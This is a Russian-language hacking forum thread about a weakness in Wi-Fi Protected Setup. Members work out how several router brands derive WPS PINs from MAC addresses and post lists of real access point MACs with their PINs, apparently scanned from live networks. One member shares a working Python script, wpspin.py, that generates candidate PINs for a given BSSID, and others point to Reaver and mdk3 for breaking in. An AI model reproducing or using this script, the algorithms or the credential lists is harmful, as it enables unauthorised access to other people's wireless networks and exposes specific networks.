Уязвимость в протоколе Wi-Fi Protected Setup

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by gpuhash, 30 Dec 2011.

  1. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    367
    Likes Received:
    162
    Reputations:
    19
    По похожему принципу нашел небольшую закономерность у точек TP-LINK. :) В отличии от ASUS 7, 8 и 9 значения мак адреса влияют на 2 часть пин кода (а 10, 11 и 12 на первую, возможно?). Тк TP-LINK встречается реже асуса (во всяком случае в Москве), то своей базы нет и беру из чужого поста.

    Code:
    F8:1A:67:8A:F1:04  06695972
    F8:1A:67:97:22:18       78488113
    F8:1A:67:C3:B3:90       92407213
    F8:1A:67:CB:4F:E6       68474836
    F8:1A:67:[COLOR=Lime]CB:5[/COLOR]3:D0   1472[COLOR=Lime]135[/COLOR]9
    F8:1A:67:[COLOR=Lime]CB:5[/COLOR]7:FC   8882[COLOR=Lime]134[/COLOR]4
    F8:1A:67:CC:E7:44       50042227
    F8:1A:67:EC:91:EE       36735600
    F8:1A:67:EC:99:3E       04165415
    F8:1A:67:F8:40:F4       65597231
     
    1. VladimirV

      VladimirV Well-Known Member

      Joined:
      1 Apr 2013
      Messages:
      1,130
      Likes Received:
      6,150
      Reputations:
      57
      Тоже нашел неплохую закономерность:
      Code:
      ==========================================================
      20:CF:30:87D0DD 8722C8 88562643         8900829-8856264=44565
      20:CF:30:87E3AC 01325F 00784313         8905644-78431=
      20:CF:30:87E53C 2CDE6E 29405268         8906044-2940526=
      20:CF:30:884346 77D567 78534155         8930118-7853415=1076703    
      
      [COLOR=DarkOrange]20:CF:30:98A519 000E99 00037372          10003737-3737=10000000  
      20:CF:30:98A5AB 000F2B 00038836          =10000000
      20:CF:30:98A607 000F87 00039758             
      20:CF:30:98A61B 000F9B 00039956            
      20:CF:30:98E76F 0050EF 00207195
      20:CF:30:98FA89 006409 00256094            
      20:CF:30:990FFB 00797B 00310994          10031099-31099=10000000      
      20:CF:30:993CB2 00A632 00425469          10042546-42546=10000000  
      20:CF:30:994013 00A993 00434119          10043411-43411=10000000  
      20:CF:30:99409B 00AA1B 00435475            
      20:CF:30:D61023 3D79A3 40288352          =10000000
      20:CF:30:D67D5E 3DE6DE 40567983            
      20:CF:30:D68B4F 3DF4CF 40603674          14060367-4060367=10000000 [/COLOR]
         
      20:CF:30:E4A644 32616D 33017419          14984772-3301741=11683031
      20:CF:30:E4B3A4 5543CB 55879156          14988196-5587915=9400281  
      20:CF:30:E53BC8 5168F7 53352873  
      20:CF:30:E554AC 477746 46835901  
      20:CF:30:E56138 8EBC84 93543729  
      20:CF:30:E5623C 5EAA9E 62040624          15032892-6204062  16204062
      20:CF:30:E5A424 7CC727 81774470          15049764-8177447=
      ===================================================
      в выделенном диапазоне если перевести вторую часть BSSID в из HEX в DEC и отнять 10 000 000 то получим первые 7 цыферок пина без передних 0 !!!
      binarymaster- Спасибо за RouterScan
      Осталось выяснить полный диапазон.
       
      #1782 VladimirV, 14 Mar 2014
      Last edited: 14 Mar 2014
      2 people like this.
      1. VasiliyP

        VasiliyP Elder - Старейшина

        Joined:
        30 Aug 2011
        Messages:
        365
        Likes Received:
        676
        Reputations:
        11
        А если вторая часть BSSID меньше 10 000 000, то ничего отнимать не нужно? Если да, то это - всем известный метод hex->dec.
         
        1. Vikhedgehog

          Vikhedgehog Elder - Старейшина

          Joined:
          24 Jul 2013
          Messages:
          367
          Likes Received:
          162
          Reputations:
          19
          Круто!! Позже еще посканю IP диапазоны и выложу больше WPS пинов, теперь ясно по какой логике они их генерируют! :)
           
          1. binarymaster

            binarymaster Elder - Старейшина

            Joined:
            11 Dec 2010
            Messages:
            4,717
            Likes Received:
            10,195
            Reputations:
            126
            Боюсь, что это новое открытие не открыло ничего нового...

            Поскольку результат работы алгоритмов HexToDec() и HexToDec()-10000000 одинаковый.

            Кстати, вот два экземпляра, которые такому алгоритму не поддаются:
            20:CF:30:87:D7:53
            89371282
            20:CF:30:87:E7:9E
            89395264
             
            1. Vikhedgehog

              Vikhedgehog Elder - Старейшина

              Joined:
              24 Jul 2013
              Messages:
              367
              Likes Received:
              162
              Reputations:
              19
              Хахах, я почему-то даже не ожидал что ASUS станут генерировать пин коды из мак адреса. Понятно что это действует только на старых моделях да и то не на всех но все таки может пригодится при взломе. Теперь буду рассматривать другие модели.
               
              1. saimonyz

                saimonyz Member

                Joined:
                23 Jun 2012
                Messages:
                156
                Likes Received:
                41
                Reputations:
                2
                мож каму попала точка с F8:D1:11:73:F7:0C TP-LINK TL-WR740N
                 
                1. VladimirV

                  VladimirV Well-Known Member

                  Joined:
                  1 Apr 2013
                  Messages:
                  1,130
                  Likes Received:
                  6,150
                  Reputations:
                  57
                  Вот еще нашел немного!
                  Code:
                  ==============================================
                  00:07:26:3EFCC5 1662149    -2465792        D-Link DIR-300   BSSID-2465792  
                  00:07:26:4AAA48 2427464    -2465792        D-Link DIR-300   BSSID-2465792  
                  ==============================================
                  2C:AB:25:0F980A 1778954    +756992         D-Link DIR-300 + 756992 
                  2C:AB:25:0F9CBE 1780158    +756992  
                  2C:AB:25:3DC7FD 4805885    +756992  
                  2C:AB:25:54E30B 6320139    +756992  
                  2C:AB:25:551DFF 6335231    +756992  
                  2C:AB:25:5AF8DD 6718941    +756992  
                  2C:AB:25:61CE0F 7166735    +756992  
                  2C:AB:25:69BDFE 7686910    +756992  
                  ==============================================
                  80:1F:02:12E8EC 4793708    +3554432               EDIMAX BR6428GN  
                  80:1F:02:190CCA 5196106    +3554432  
                  80:1F:02:2662DF 6070111    +3554432  
                  80:1F:02:279152 6147538    +3554432  
                  ==============================================
                  80:1F:02:4915BE 8344126    +3554432               EDIMAX BR6228GNS  
                  80:1F:02:4A3F4C 8420300    +3554432  
                  80:1F:02:4F27F4 8742004    +3554432  
                  80:1F:02:4F3DBE 8747582    +3554432  
                  ==============================================
                  30:85:A9:F5135C 1410780    -14650496     ASUS RT-N13U Rev BSSID-14650496  
                  30:85:A9:F52938 1416376    -14650496     ASUS RT-N13U Rev BSSID-14650496  
                  ==============================================
                  50:46:5D:AEAC38 1728440    -9718912     ASUS RT-N13U Rev.B1 BSSID-9718912  
                  50:46:5D:AEC93C 1735868    -9718912  
                  50:46:5D:AF3D98 1765656    -9718912  
                  50:46:5D:AF89D0 1785168    -9718912  
                  ==============================================
                  F4:6D:04:A1C4C8 7710536    -2891136  ASUS RT-N13U Rev.B1  BSSID-2891136  
                  F4:6D:04:A1F864 7723748    -2891136  
                  F4:6D:04:A237A8 7739944    -2891136  
                  F4:6D:04:A25870 7748336    -2891136  
                  ==============================================
                  10:BF:48:4A2360 2818272         ASUS RT-N13U Rev.B1 -2040448
                  10:BF:48:4A237C 2818300         ASUS RT-N13U Rev.B1 -2040448
                  10:BF:48:4B4900 2893440         ASUS RT-N13U Rev.B1 -2040448
                  ==============================================
                  
                   
                  #1788 VladimirV, 16 Mar 2014
                  Last edited: 18 Mar 2014
                  1. Vikhedgehog

                    Vikhedgehog Elder - Старейшина

                    Joined:
                    24 Jul 2013
                    Messages:
                    367
                    Likes Received:
                    162
                    Reputations:
                    19
                    Точки с таким мак адресом можно же вроде просто ривером ломать? Если прошивка новая и возникает лок то попробуй использовать mdk3.
                     
                    1. Vikhedgehog

                      Vikhedgehog Elder - Старейшина

                      Joined:
                      24 Jul 2013
                      Messages:
                      367
                      Likes Received:
                      162
                      Reputations:
                      19
                      Крутая тема :D Кстати, походу у точек с началом 60:A4:4C встречается похожая закономерность что и у старых диапазонов не смотря на то, что этот мак адрес бывает и у новых точек, так что возможно у асусов не у каждой модели свой генератор wps, а у каждого мак диапазона, что может облегчить дальнейший поиск закономерностей :) Вот что смог насканить:

                      Code:
                      60:A4:4C:A2:C6:94     02863245 
                      60:A4:4C:26:25:ED     24147460
                      60:A4:4C:A6:49:A8     52421303 
                      60:A4:4C:83:A1:1C     43053100  
                      60:A4:4C:DE:25:78     64651439 
                      60:A4:4C:86:54:7C     40403007  
                      60:A4:4C:A3:A8:48     06432034 
                      60:A4:4C:79:47:F8     24234047 
                      60:A4:4C:3A:B6:A0     40122502  
                      60:A4:4C:A3:85:D4     06072438 
                      60:A4:4C:A4:86:9C     00120029  
                      60:A4:4C:C6:93:84     42329343
                       
                      #1790 Vikhedgehog, 16 Mar 2014
                      Last edited: 16 Mar 2014
                      1. Vikhedgehog

                        Vikhedgehog Elder - Старейшина

                        Joined:
                        24 Jul 2013
                        Messages:
                        367
                        Likes Received:
                        162
                        Reputations:
                        19
                        У меня полетела винда, выложил всю свою базу с соотношениями мак адрес - впс пин для точек асус через бэктрэк на хостинг

                        http://zalil.ru/a81Lh
                         
                        1. Vikhedgehog

                          Vikhedgehog Elder - Старейшина

                          Joined:
                          24 Jul 2013
                          Messages:
                          367
                          Likes Received:
                          162
                          Reputations:
                          19
                          Спасибо за совет :)
                           
                          1. binarymaster

                            binarymaster Elder - Старейшина

                            Joined:
                            11 Dec 2010
                            Messages:
                            4,717
                            Likes Received:
                            10,195
                            Reputations:
                            126
                            This is хорошо! :)
                            На DIR-300 я кстати уже находил эту закономерность, и даже в скрипте её реализовал. Но это только на билайновских роутерах.
                             
                            1. vedemur

                              vedemur Member

                              Joined:
                              12 Nov 2012
                              Messages:
                              105
                              Likes Received:
                              9
                              Reputations:
                              0
                              F8:D1:11:43:AC:B8 0203XXXX
                               
                              1. saimonyz

                                saimonyz Member

                                Joined:
                                23 Jun 2012
                                Messages:
                                156
                                Likes Received:
                                41
                                Reputations:
                                2
                                о попробую
                                 
                                1. Vikhedgehog

                                  Vikhedgehog Elder - Старейшина

                                  Joined:
                                  24 Jul 2013
                                  Messages:
                                  367
                                  Likes Received:
                                  162
                                  Reputations:
                                  19
                                  Пока есть время, выкладываю еще сети, извините что не отсортированы по MAC. Тут не только ASUS, но и D-Link

                                  Code:
                                  BC:EE:7B:32:C5:D0
                                  53575555
                                  
                                  00:18:E7:EC:E4:A9
                                  46328472
                                  
                                  00:24:8C:75:A5:74
                                  76691645
                                  
                                  74:D0:2B:3B:2D:4C
                                  04354031
                                  
                                  60:A4:4C:A4:41:6C
                                  12403042
                                  
                                  60:A4:4C:F1:8F:C0
                                  97133919
                                  
                                  AC:22:0B:E9:DB:FC
                                  47723405
                                  
                                  D8:50:E6:AF:C1:A8
                                  08274045
                                  
                                  C8:60:00:92:38:EA
                                  28567554
                                  
                                  BC:EE:7B:93:A2:30
                                  50095643
                                  
                                  84:C9:B2:52:30:3D
                                  23294356
                                  
                                  E0:CB:4E:82:BF:42
                                  47561953
                                  
                                  84:C9:B2:4C:AE:C5
                                  27667552
                                  
                                  60:A4:4C:27:03:78
                                  90384271
                                  
                                  5C:D9:98:6B:D5:9C
                                  19908564
                                  
                                  5C:D9:98:6B:D3:F6
                                  18584349
                                  
                                  C8:60:00:67:85:98
                                  18722178
                                  
                                  74:D0:2B:3B:22:30
                                  44324100
                                  
                                  74:D0:2B:83:77:64
                                  08872210
                                  
                                  D8:50:E6:AF:CE:CC
                                  04234005
                                  
                                  74:D0:2B:82:F2:04
                                  02343013
                                  
                                  84:C9:B2:62:6B:44
                                  36539048
                                  
                                  74:D0:2B:5D:81:58
                                  29310364
                                  
                                  20:CF:30:CE:4D:77
                                  33224336
                                  
                                  84:C9:B2:4C:AF:57
                                  29005734
                                  
                                  D8:50:E6:42:92:4C
                                  50122844
                                  
                                  D8:50:E6:42:91:E0
                                  64429700
                                  
                                  C8:60:00:91:48:E2
                                  31195324
                                  
                                  1C:7E:E5:3D:FD:86
                                  48798587
                                  
                                  50:46:5D:00:04:50
                                  57346601
                                  
                                  C8:60:00:91:51:4A
                                  18619263
                                  
                                  08:60:6E:C0:A9:60
                                  41327753
                                  
                                  08:60:6E:CC:83:40
                                  47435612
                                  
                                  84:C9:B2:62:6E:2A
                                  42322221
                                  
                                  74:D0:2B:5D:88:10
                                  10407011
                                  
                                  AC:22:0B:EA:67:74
                                  06124083
                                  
                                  D8:50:E6:AC:D5:68
                                  96996492
                                  
                                  08:60:6E:21:C0:88
                                  65995150
                                  
                                  08:60:6E:E9:AA:88
                                  58651674
                                  
                                  00:26:5A:FF:46:90
                                  56407082
                                  
                                  D8:50:E6:94:10:10
                                  65891087
                                  
                                  50:46:5D:01:08:60
                                  27973592
                                  
                                  50:46:5D:CD:FF:18
                                  76047077
                                  
                                  C8:60:00:91:EC:C6
                                  46433275
                                  
                                  08:60:6E:21:D2:B0
                                  49535471
                                  
                                  74:D0:2B:3A:12:44
                                  20126100
                                   
                                  1. binarymaster

                                    binarymaster Elder - Старейшина

                                    Joined:
                                    11 Dec 2010
                                    Messages:
                                    4,717
                                    Likes Received:
                                    10,195
                                    Reputations:
                                    126
                                    Code:
                                    #!/usr/bin/env python
                                    import sys, re
                                    
                                    def pin_checksum(pin):
                                        # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
                                        # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
                                        accum = 0
                                        t = pin
                                        while (t):
                                            accum += 3 * (t % 10)
                                            t /= 10
                                            accum += t % 10
                                            t /= 10
                                        return '%07i%i' % (pin, (10 - accum % 10) % 10)
                                    
                                    def gen_hexdec(mac_str):
                                        return (int(mac_str[6:12], 16) % 10000000)
                                    
                                    def gen_beeline(mac_str):
                                        return ((int(mac_str[6:12], 16) + 756992) % 10000000)
                                    
                                    def gen_hexdec_hi(mac_str):
                                        return ((~int(mac_str[6:12], 16) & 0xFFFFFF) % 10000000)
                                    
                                    def gen_hexdec_di(mac_str):
                                        return (~int(mac_str[6:12], 16) % 10000000)
                                    
                                    def gen_hexdec_hda(mac_str):
                                        return ((gen_hexdec_hi(mac_str) + gen_hexdec_di(mac_str)) % 10000000)
                                    
                                    def gen_hexdec_hds(mac_str):
                                        return ((gen_hexdec_hi(mac_str) - gen_hexdec_di(mac_str)) % 10000000)
                                    
                                    def gen_hexdec_dhs(mac_str):
                                        return ((gen_hexdec_di(mac_str) - gen_hexdec_hi(mac_str)) % 10000000)
                                    
                                    def gen_hexdec2x(mac_str):
                                        return (2*int(mac_str[6:12], 16) % 10000000)
                                    
                                    def gen_hexdec3x(mac_str):
                                        return (3*int(mac_str[6:12], 16) % 10000000)
                                    
                                    def gen_hex1_add_hex2_dec(mac_str):
                                        return ((int(mac_str[0:6], 16)+int(mac_str[6:12], 16)) % 10000000)
                                    
                                    def gen_hex1_sub_hex2_dec(mac_str):
                                        return ((int(mac_str[0:6], 16)-int(mac_str[6:12], 16)) % 10000000)
                                    
                                    def gen_hex1_xor_hex2_dec(mac_str):
                                        return ((int(mac_str[0:6], 16)^int(mac_str[6:12], 16)) % 10000000)
                                    
                                    def main():
                                        if len(sys.argv) != 2:
                                            sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')
                                    
                                        mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
                                    
                                        if len(mac_str) != 12:
                                            sys.exit('check MAC format!\n')
                                    
                                        print '\n1. Algorithm: Dec(Hex[6..12])\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec(mac_str))
                                        print '\n  Compatible devices:'
                                        print '  - ZyXEL NDMS (CC:5D:4E, EC:43:F6, FE:F5:28, etc.)'
                                        print '  - Some TRENDnet (00:14:D1)'
                                        print '  - D-Link DIR-620 (90:94:E4)'
                                        print '  - Huawei HG532e (34:6B:D3)'
                                        print '  - ASUS RT-G32 (20:CF:30, 90:E6:BA, E0:CB:4E)'
                                        print '\n2. Algorithm: Dec(Hex[6..12]) + 756992\n'
                                        print '  WPS PIN: ', pin_checksum(gen_beeline(mac_str))
                                        print '\n  Compatible devices:'
                                        print '  - Beeline DIR-300 (2C:AB:25)'
                                        print '\n3. Algorithm: Dec(Inv(Hex[6..12]))\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec_hi(mac_str))
                                        print '\n4. Algorithm: Inv(Dec(Hex[6..12]))\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec_di(mac_str))
                                        print '\n5. Algorithm: Dec(Inv(Hex[6..12])) + Inv(Dec(Hex[6..12]))\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec_hda(mac_str))
                                        print '\n6. Algorithm: Dec(Inv(Hex[6..12])) - Inv(Dec(Hex[6..12]))\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec_hds(mac_str))
                                        print '\n7. Algorithm: Inv(Dec(Hex[6..12])) - Dec(Inv(Hex[6..12]))\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec_dhs(mac_str))
                                        print '\n8. Algorithm: Dec(Hex[6..12]) * 2\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec2x(mac_str))
                                        print '\n9. Algorithm: Dec(Hex[6..12]) * 3\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hexdec3x(mac_str))
                                        print '\n10. Algorithm: Dec(Hex[0..6]) + Dec(Hex[6..12])\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hex1_add_hex2_dec(mac_str))
                                        print '\n11. Algorithm: Dec(Hex[0..6]) - Dec(Hex[6..12])\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hex1_sub_hex2_dec(mac_str))
                                        print '\n12. Algorithm: Dec(Hex[0..6]) xor Dec(Hex[6..12])\n'
                                        print '  WPS PIN: ', pin_checksum(gen_hex1_xor_hex2_dec(mac_str))
                                    
                                    if __name__ == "__main__":
                                        main()
                                    Обновил скрипт wpspin.py, добавил несколько простых алгоритмов. Может быть некоторые из них подойдут к каким-то роутерам.
                                     
                                    2 people like this.
                                    1. ohoo

                                      ohoo New Member

                                      Joined:
                                      26 Dec 2013
                                      Messages:
                                      42
                                      Likes Received:
                                      2
                                      Reputations:
                                      0
                                       
                                      1. binarymaster

                                        binarymaster Elder - Старейшина

                                        Joined:
                                        11 Dec 2010
                                        Messages:
                                        4,717
                                        Likes Received:
                                        10,195
                                        Reputations:
                                        126
                                        У меня на Windows работает.

                                        https://www.python.org/download/releases/2.7.6/
                                         
                                        1. ohoo

                                          ohoo New Member

                                          Joined:
                                          26 Dec 2013
                                          Messages:
                                          42
                                          Likes Received:
                                          2
                                          Reputations:
                                          0
                                          спасибо разобрался была версия python-3.3.5 снес ее и поставил версию 2,7,6 и все заработало
                                           
                                          #1800 ohoo, 16 Mar 2014
                                          Last edited: 16 Mar 2014